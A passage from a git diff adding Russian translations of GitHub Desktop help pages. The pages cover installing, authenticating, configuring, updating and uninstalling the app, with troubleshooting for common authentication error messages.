reusables.desktop.use-local-git-config %} {% data reusables.desktop.local-config-name %} {% data reusables.desktop.local-config-email %} {% data reusables.desktop.repository-settings-save %} + +{% endwindows %} + + +## Настройка ветви по умолчанию для новых репозиториев + +Вы можете настроить ветвь по умолчанию, которая будет использоваться при создании нового репозитория в {% data variables.product.prodname_desktop %}. Дополнительные сведения о ветви по умолчанию см. в разделе [Сведения о ветви по умолчанию](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch). + +{% mac %} + +{% data reusables.desktop.mac-select-desktop-menu %} +1. В окне "Настройки" нажмите **Git**. + ![Область Git в меню "Параметры"](/assets/images/help/desktop/mac-select-git-pane.png) +1. В разделе "Имя ветви по умолчанию для новых репозиториев" выберите имя ветви по умолчанию, которое вы хотите использовать, или введите требуемое имя, выбрав "Другое...". + ![Параметры выбора имени ветви по умолчанию](/assets/images/help/desktop/mac-select-default-branch-name.png) {% data reusables.desktop.click-save-git-config %} ![Кнопка "Сохранить" в поле конфигурации Git](/assets/images/help/desktop/repository-settings-git-config-save.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-choose-options %} +1. В окне "Параметры" нажмите **Git**. + ![Область Git в меню "Параметры"](/assets/images/help/desktop/windows-select-git-pane.png) +1. В разделе "Имя ветви по умолчанию для новых репозиториев" выберите имя ветви по умолчанию, которое вы хотите использовать, или нажмите кнопку "Другое..." , чтобы ввести другое имя. + ![Параметры выбора имени ветви по умолчанию](/assets/images/help/desktop/windows-select-default-branch-name.png) {% data reusables.desktop.click-save-git-config %} ![Кнопка "Сохранить" в поле конфигурации Git](/assets/images/help/desktop/repository-settings-git-config-save.png) + +{% endwindows %} + +## Дополнительные материалы + +- [Добавление адреса электронной почты в учетную запись GitHub](/articles/adding-an-email-address-to-your-github-account/) +- [Указание адреса электронной почты для фиксаций](/articles/setting-your-commit-email-address/) +- [Сведения о ветвях](/github/collaborating-with-issues-and-pull-requests/about-branches) diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md new file mode 100644 index 000000000000..7cb3f36015af --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md @@ -0,0 +1,22 @@ +--- +title: Конфигурация и настройка GitHub Desktop +intro: 'Настройте Git, подключите редактор по умолчанию и настройте параметры для приведения GitHub Desktop в соответствие с рабочим процессом.' +redirect_from: + - /desktop/getting-started-with-github-desktop/configuring-and-customizing-github-desktop +versions: + fpt: '*' +children: + - /configuring-git-for-github-desktop + - /configuring-basic-settings + - /configuring-a-default-editor + - /setting-a-theme-for-github-desktop + - /about-git-large-file-storage-and-github-desktop +shortTitle: Configure & customize +ms.openlocfilehash: d4c2bd3566eafc1dbf34283c078ac077c5db5362 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145117403' +--- + diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md new file mode 100644 index 000000000000..d62cef2e2f7b --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md @@ -0,0 +1,27 @@ +--- +title: Настройка темы для рабочего стола GitHub +intro: Вы можете настроить внешний вид и функции GitHub Desktop. +redirect_from: + - /desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop + - /desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop +versions: + fpt: '*' +shortTitle: Set a theme +ms.openlocfilehash: 032f6e4ddaebfe9b284cb9599f3fcb80a76483da +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117400' +--- +{% mac %} + +{% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.choose-a-theme %} ![Варианты тем на вкладке внешнего вида для Mac](/assets/images/help/desktop/mac-appearance-tab-themes.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.choose-a-theme %} ![Варианты тем на вкладке внешнего вида для Windows](/assets/images/help/desktop/windows-appearance-tab-themes.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/index.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/index.md new file mode 100644 index 000000000000..b408d95950c0 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/index.md @@ -0,0 +1,20 @@ +--- +title: Установка и настройка GitHub Desktop +shortTitle: Installing and configuring +intro: 'Получите {% data variables.product.prodname_desktop %} для управления работой в рамках проекта. Проверка подлинности в {% data variables.product.prodname_dotcom_the_website %} или {% data variables.product.prodname_enterprise %}, актуальность приложения и просмотр предпочтительных параметров.' +redirect_from: + - /desktop/getting-started-with-github-desktop +versions: + fpt: '*' +children: + - /overview + - /installing-and-authenticating-to-github-desktop + - /configuring-and-customizing-github-desktop +ms.openlocfilehash: b37cd3848a8d80dd8365987cb01ea1578eac45b8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117392' +--- + diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md new file mode 100644 index 000000000000..b5505213426c --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md @@ -0,0 +1,18 @@ +--- +title: About connections to GitHub +intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /desktop/getting-started-with-github-desktop/about-connections-to-github + - /desktop/installing-and-configuring-github-desktop/about-connections-to-github +versions: + fpt: '*' +shortTitle: About connections +--- +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." + +After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or {% data variables.product.pat_generic %}) and uses the credentials to authenticate for each connection to the remote repository. + +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." + +## Further reading +- "[Cloning and forking repositories from GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)" diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md new file mode 100644 index 000000000000..220f7b85da93 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md @@ -0,0 +1,190 @@ +--- +title: Authenticating to GitHub +shortTitle: Authentication +intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser + - /desktop/getting-started-with-github-desktop/authenticating-to-github + - /desktop/installing-and-configuring-github-desktop/authenticating-to-github +versions: + fpt: '*' +--- +## About authentication + +To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.prodname_dotcom %}. + +Before you authenticate, {% data reusables.desktop.get-an-account %} + +{% mac %} + +## Authenticating an account on {% data variables.product.prodname_dotcom %} + +{% data reusables.desktop.mac-select-desktop-menu %} +{% data reusables.desktop.mac-select-accounts %} +3. To the right of "{% data variables.product.prodname_dotcom_the_website %}," click **Sign In**. + ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png) +{% data reusables.desktop.sign-in-browser %} + + +{% data reusables.desktop.authenticate-in-browser %} +{% data reusables.desktop.2fa-in-browser %} +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. + +## Authenticating an account on {% data variables.product.prodname_ghe_server %} + + +{% data reusables.desktop.mac-select-desktop-menu %} +{% data reusables.desktop.mac-select-accounts %} +{% data reusables.desktop.choose-product-authenticate %} +4. To add an account on {% data variables.location.product_location_enterprise %}, type the URL for your instance under "Enterprise address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) +{% data reusables.desktop.sign-in-browser %} +1. To authenticate to {% data variables.location.product_location_enterprise %} account, type your account credentials and click **Sign in**. + ![The Sign In button for {% data variables.product.prodname_ghe_server %} in browser](/assets/images/help/desktop/enterprise-sign-in-button-browser.png) + + Alternatively, if you were already signed in to {% data variables.location.product_location_enterprise %} account, follow the prompts to return to {% data variables.product.prodname_desktop %} to finish authenticating. + +{% endmac %} + +{% windows %} + +## Authenticating an account on {% data variables.product.prodname_dotcom %} + +{% data reusables.desktop.windows-choose-options %} +{% data reusables.desktop.windows-select-accounts %} +3. To the right of "GitHub.com," click **Sign in**. + ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png) +{% data reusables.desktop.sign-in-browser %} + + {% data reusables.user-settings.password-authentication-deprecation-desktop %} + +{% data reusables.desktop.authenticate-in-browser %} +{% data reusables.desktop.2fa-in-browser %} +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. + +## Authenticating an account on {% data variables.product.prodname_enterprise %} + + +{% data reusables.desktop.windows-choose-options %} +{% data reusables.desktop.windows-select-accounts %} +{% data reusables.desktop.choose-product-authenticate %} +4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) +{% data reusables.desktop.retrieve-2fa %} + +{% endwindows %} + +## Troubleshooting authentication issues + +If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot. + +If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}. + +For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps. + +{% mac %} + +1. Use the **Help** drop-down menu and click **Show Logs in Finder**. + ![The Show Logs in Finder button](/assets/images/help/desktop/mac-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. + +{% endmac %} + +{% windows %} + +1. Use the **Help** drop-down menu and click **Show Logs in Explorer**. + ![The Show Logs in Explorer button](/assets/images/help/desktop/windows-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. + +{% endwindows %} + +Review the troubleshooting information below for the error message that you encounter. + +### Bad credentials + +```shell +Error: Bad credentials +``` + +This error means that there is an issue with your stored account credentials. + +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. + +### Empty token + +```shell +info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - USERNAME (empty token) +``` + +This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain. + +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. + +### Repository not found + +```shell +fatal: repository 'https://github.com/<user>/<repo>.git' not found + +(The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.) +``` + +This error means that you do not have permission to access the repository that you are trying to clone. + +To troubleshoot, contact the person in your organization who administers permissions. + +### Could not read from remote repository + +```shell +git@github.com: Permission denied (publickey). +fatal: Could not read from remote repository. + +Please make sure you have the correct access rights and the repository exists. +``` + +This error means that you do not have a valid SSH key set up. + +To troubleshoot, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + +### Failed to clone + +```shell +fatal: clone of 'git@github.com:<user>/<repo>' into submodule path '<path>' failed +Failed to clone 'src/github.com/<user>/<repo>'. Retry scheduled +Cloning into '<path>'... +git@github.com: Permission denied (publickey). +fatal: Could not read from remote repository. +Please make sure you have the correct access rights +and the repository exists. +``` + +This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up. + +If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository. + +If you do not have a valid SSH key set up, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + +{% windows %} + +### Unable to read AskPass response + +```shell +error: unable to read askpass response from '/Users/<path>/GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh' +fatal: could not read Username for 'https://github.com': terminal prompts disabled +``` + +This error can be caused by multiple events. + +If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps. + +1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations. + `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` + `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` +2. Check to see if there is an `Autorun` value in either location. +3. If there is an `Autorun` value, delete it. + +If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see "[Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)" in the Microsoft documentation. + +{% endwindows %} + +## Further reading +- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md new file mode 100644 index 000000000000..60fb29aa07e0 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md @@ -0,0 +1,23 @@ +--- +title: Установка и проверка подлинности в GitHub Desktop +intro: Установите GitHub Desktop и подключите учетные записи GitHub или GitHub Enterprise. +redirect_from: + - /desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop +versions: + fpt: '*' +children: + - /setting-up-github-desktop + - /installing-github-desktop + - /authenticating-to-github + - /about-connections-to-github + - /updating-github-desktop + - /uninstalling-github-desktop +shortTitle: Install & authenticate +ms.openlocfilehash: d2d0628d3d3c861e4528845b538cbf44828ad96f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117344' +--- + diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md new file mode 100644 index 000000000000..f70d51a76c4d --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md @@ -0,0 +1,64 @@ +--- +title: Установка GitHub Desktop +shortTitle: Installation +intro: Можно установить GitHub Desktop в поддерживаемых операционных системах Windows и macOS. +redirect_from: + - /desktop/getting-started-with-github-desktop/installing-github-desktop + - /desktop/installing-and-configuring-github-desktop/installing-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: 4947bff541682887817198c714e7e78bff2cfc9f +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882782' +--- +## Сведения об установке {% data variables.product.prodname_desktop %} + +Вы можете установить {% data variables.product.prodname_desktop %} в поддерживаемых операционных системах, к которым в настоящее время относятся {% data variables.desktop.mac-osx-versions %} и {% data variables.desktop.windows-versions %}. Если у вас есть учетная запись на сайте {% data variables.product.prodname_dotcom %} или в {% data variables.product.prodname_enterprise %}, вы можете подключить ее к {% data variables.product.prodname_desktop %}. Дополнительные сведения о создании учетной записи см. в разделе [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account/) или обратитесь к своему администратору сайта {% data variables.product.prodname_enterprise %}. + +{% windows %} + +Если вы являетесь администратором сети, вы можете развернуть {% data variables.product.prodname_desktop %} на компьютерах, работающих под управлением ОС Windows в сети, управляемой Active Directory, с помощью файла пакета установщика Windows (`.msi`) с групповой политикой или другой системой удаленной установки. + +Пакет установщика Windows извлекает автономный установщик (`.exe`) и настраивает Windows для установки {% data variables.product.prodname_desktop %} при следующем входе пользователя на рабочую станцию. У пользователей должны быть разрешения на установку {% data variables.product.prodname_desktop %} в свой каталог пользователя. + +Если пользователь запускает пакет установщика Windows для {% data variables.product.prodname_desktop %} напрямую, то для завершения установки пользователь должен выйти из рабочей станции, а затем снова войти. + +{% endwindows %} + +## Скачивание и установка {% data variables.product.prodname_desktop %} + +{% mac %} + +{% data variables.product.prodname_desktop %} можно установить в {% data variables.desktop.mac-osx-versions %}. + +{% data reusables.desktop.download-desktop-page %} +2. Нажмите **Скачать версию для macOS**. + ![Кнопка "Скачать версию для macOS"](/assets/images/help/desktop/download-for-mac.png) +3. На компьютере в папке `Downloads` дважды щелкните ZIP-файл **{% data variables.product.prodname_desktop %}** . + ![Файл GitHubDesktop.zip](/assets/images/help/desktop/mac-zipfile.png) +4. После извлечения файла архива дважды щелкните **{% data variables.product.prodname_desktop %}** . +5. {% data variables.product.prodname_desktop %} запустится после завершения установки. + +{% endmac %} + +{% windows %} + +{% data variables.product.prodname_desktop %} можно установить в {% data variables.desktop.windows-versions %}. + +{% warning %} + +**Предупреждение.** Для запуска {% data variables.product.prodname_desktop %} должна быть установлена 64-разрядная операционная система. + +{% endwarning %} + +{% data reusables.desktop.download-desktop-page %} +2. Нажмите **Скачать версию для Windows**. + ![Кнопка "Скачать версию для Windows"](/assets/images/help/desktop/download-for-windows.png) +3. На компьютере в папке `Downloads` дважды щелкните файл установки **{% data variables.product.prodname_desktop %}** . + ![Файл GitHubDesktopSetup](/assets/images/help/desktop/windows-githubdesktopsetup.png) +4. {% data variables.product.prodname_desktop %} запустится после завершения установки. + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md new file mode 100644 index 000000000000..aa6d040439af --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md @@ -0,0 +1,49 @@ +--- +title: Настройка GitHub Desktop +shortTitle: Setup +intro: 'Вы можете настроить {% data variables.product.prodname_desktop %} в соответствии с вашими потребностями и внести свой вклад в проекты.' +redirect_from: + - /desktop/getting-started-with-github-desktop/setting-up-github-desktop + - /desktop/installing-and-configuring-github-desktop/setting-up-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: 20d183b4f3809251d4672421ec48f220fb562c9f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117336' +--- +## Часть 1. Установка {% data variables.product.prodname_desktop %} + +Установить {% data variables.product.prodname_desktop %} можно в любой поддерживаемой операционной системе. Дополнительные сведения см. в разделе [Поддерживаемые операционные системы](/desktop/getting-started-with-github-desktop/supported-operating-systems). + +Чтобы установить {% data variables.product.prodname_desktop %}, перейдите на сайт [https://desktop.github.com/](https://desktop.github.com/) и скачайте соответствующую версию {% data variables.product.prodname_desktop %} для своей операционной системы. Следуйте указаниям, чтобы завершить установку. Дополнительные сведения см. в разделе [Установка {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-github-desktop). + +## Часть 2. Настройка учетной записи + +Если у вас есть учетная запись {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}, можете воспользоваться {% data variables.product.prodname_desktop %} для обмена данными между своими локальными и удаленными репозиториями. + +### Создание учетной записи +Если у вас еще нет учетной записи {% data variables.product.prodname_dotcom %}, обратитесь к разделу [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account/). + +Если вы входите в организацию, использующую {% data variables.product.prodname_enterprise %}? и у вас нет учетной записи, обратитесь к администратору сайта {% data variables.product.prodname_enterprise %}. + +### Проверка подлинности в {% data variables.product.prodname_dotcom %} +Чтобы подключиться к {% data variables.product.prodname_desktop %} с помощью {% data variables.product.prodname_dotcom %}, необходимо выполнить проверку подлинности учетной записи. Дополнительные сведения см. в разделе [Проверка подлинности в {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/authenticating-to-github). + +После проверки подлинности учетной записи вы можете приступить к управлению проектами и внести свой вклад в проекты с помощью {% data variables.product.prodname_desktop %}. + +## Часть 3. Настройка Git +Прежде чем приступить к использованию {% data variables.product.prodname_desktop %}, необходимо установить Git. Если у вас еще нет Git, вы можете скачать и установить последнюю версию Git с сайта [https://git-scm.com/downloads](https://git-scm.com/downloads). + +После установки Git необходимо настроить Git для {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделе [Настройка Git для {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop). + +## Часть 4. Настройка {% data variables.product.prodname_desktop %} +Вы можете настроить значения по умолчанию и параметры {% data variables.product.prodname_desktop %} в соответствии с вашими потребностями. + +### Выбор текстового редактора по умолчанию +Для управления файлами и репозиториями можно использовать текстовый редактор, доступный в {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} поддерживает различные текстовые редакторы и интегрированные среды разработки для Windows и macOS. В параметрах {% data variables.product.prodname_desktop %} можно выбрать редактор по умолчанию. Дополнительные сведения см. в разделе [Настройка редактора по умолчанию](/desktop/getting-started-with-github-desktop/configuring-a-default-editor). + +### Выбор темы +В {% data variables.product.prodname_desktop %} имеется множество тем оформления, доступных для настройки внешнего вида приложения. Тему оформления можно выбрать в настройках {% data variables.product.prodname_desktop %}. Дополнительные сведения см. в разделе [Настройка темы для {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop). diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md new file mode 100644 index 000000000000..b6bbf11c8c28 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md @@ -0,0 +1,39 @@ +--- +title: Удаление GitHub Desktop +intro: Вы можете удалить GitHub Desktop с компьютера в любое время. +redirect_from: + - /desktop/getting-started-with-github-desktop/uninstalling-github-desktop + - /desktop/installing-and-configuring-github-desktop/uninstalling-github-desktop +versions: + fpt: '*' +shortTitle: Uninstall GitHub Desktop +ms.openlocfilehash: 1aa09eea7e44dee2949b958d00871151eb7c3d48 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145117331' +--- +{% mac %} + +1. В окне Finder перейдите в папку "Приложения". + ![Папка "Приложения" в окне Finder](/assets/images/help/desktop/applications-folder.png) +2. Нажав на клавиатуре кнопку **Control**, щелкните **{% data variables.product.prodname_desktop %}** . +3. Выберите **Переместить в корзину**. + ![Пункт меню "Переместить в корзину"](/assets/images/help/desktop/mac-move-to-trash.png) +4. В строке меню выберите раскрывающееся меню **Finder**, а затем щелкните **Очистить корзину**. + ![Пункт "Очистить корзину" в строке меню](/assets/images/help/desktop/mac-empty-trash-menu.png) +5. Прочтите предупреждение во всплывающем окне и нажмите кнопку **Очистить корзину**. + ![Кнопка "Очистить корзину"](/assets/images/help/desktop/mac-empty-trash-button.png) + +{% endmac %} + +{% windows %} + +1. Откройте панель управления. Дополнительные сведения см. в разделе [Где находится панель управления?](https://support.microsoft.com/en-us/help/13764/windows-where-is-control-panel) справки Windows. +2. В разделе "Программы" выберите пункт **Удалить программу**. + ![Пункт "Удалить программу" в панели управления](/assets/images/help/desktop/windows-uninstall-a-program.png) +3. Щелкните правой кнопкой мыши запись с именем **{% data variables.product.prodname_desktop %}** , а затем выберите пункт **Удалить**. + ![Пункт "Удалить"](/assets/images/help/desktop/windows-click-uninstall.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md new file mode 100644 index 000000000000..0fc9d46c6dda --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md @@ -0,0 +1,34 @@ +--- +title: Обновление GitHub Desktop +intro: 'GitHub Desktop автоматически скачивает обновления и устанавливает их при перезапуске. Кроме того, можно вручную проверить наличие обновлений.' +redirect_from: + - /desktop/getting-started-with-github-desktop/updating-github-desktop + - /desktop/installing-and-configuring-github-desktop/updating-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: 77b4b6d3bca7bc5d535c3591f23465d84824ad6a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117323' +--- +{% mac %} + +1. В меню **GitHub Desktop** выберите **О GitHub Desktop**. +![Пункт меню "О GitHub Desktop"](/assets/images/help/desktop/desktop-menu-about-desktop-mac.png) +2. Нажмите **Проверить обновления**. +![Кнопка "Проверить обновления"](/assets/images/help/desktop/check-for-updates.png) +3. Если обновление доступно, закройте и повторно запустите {% data variables.product.prodname_desktop %}, чтобы установить обновление. + +{% endmac %} + +{% windows %} + +1. В меню **Справка** выберите **О GitHub Desktop**. +![Пункт меню "О GitHub Desktop"](/assets/images/help/desktop/help-about-desktop-win.png) +2. Нажмите **Проверить обновления**. +![Кнопка "Проверить обновления"](/assets/images/help/desktop/check-for-updates.png) +3. Если обновление доступно, закройте и повторно запустите {% data variables.product.prodname_desktop %}, чтобы установить обновление. + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md new file mode 100644 index 000000000000..578a8a581add --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md @@ -0,0 +1,117 @@ +--- +title: Создание первого репозитория с помощью GitHub Desktop +shortTitle: Creating your first repository +intro: 'Вы можете использовать {% data variables.product.prodname_desktop %} для создания репозитория Git и управления им без использования командной строки.' +redirect_from: + - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop + - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: bdfaa5770faef23d8176b24753e23d6a3d5159a1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117328' +--- +## Введение +{% data variables.product.prodname_desktop %} позволяет расширить и упростить рабочий процесс {% data variables.product.prodname_dotcom_the_website %} за счет визуального интерфейса вместо текстовых команд в командной строке. После изучения этого руководства вы научитесь использовать {% data variables.product.prodname_desktop %} для создания репозитория, внесения изменений в репозиторий и публикации изменений в {% data variables.product.product_name %}. + +После установки {% data variables.product.prodname_desktop %} и входа в {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %} можно создать и клонировать репозитории из руководства. В этом руководстве описаны основы работы с Git и{% data variables.product.prodname_dotcom %}, включая установку текстового редактора, создание ветви, фиксацию, отправку на {% data variables.product.prodname_dotcom_the_website %} и открытие запроса на вытягивание. Если у вас еще нет репозиториев в {% data variables.product.prodname_desktop %}, можете воспользоваться репозиториями из этого руководства. + +Мы рекомендуем выполнить руководство, но если вы хотите изучить возможности {% data variables.product.prodname_desktop %}, создав собственный репозиторий, в этом руководстве описано использование {% data variables.product.prodname_desktop %} для работы с репозиторием Git. + +## Часть 1. Установка {% data variables.product.prodname_desktop %} и проверка подлинности учетной записи +Установить {% 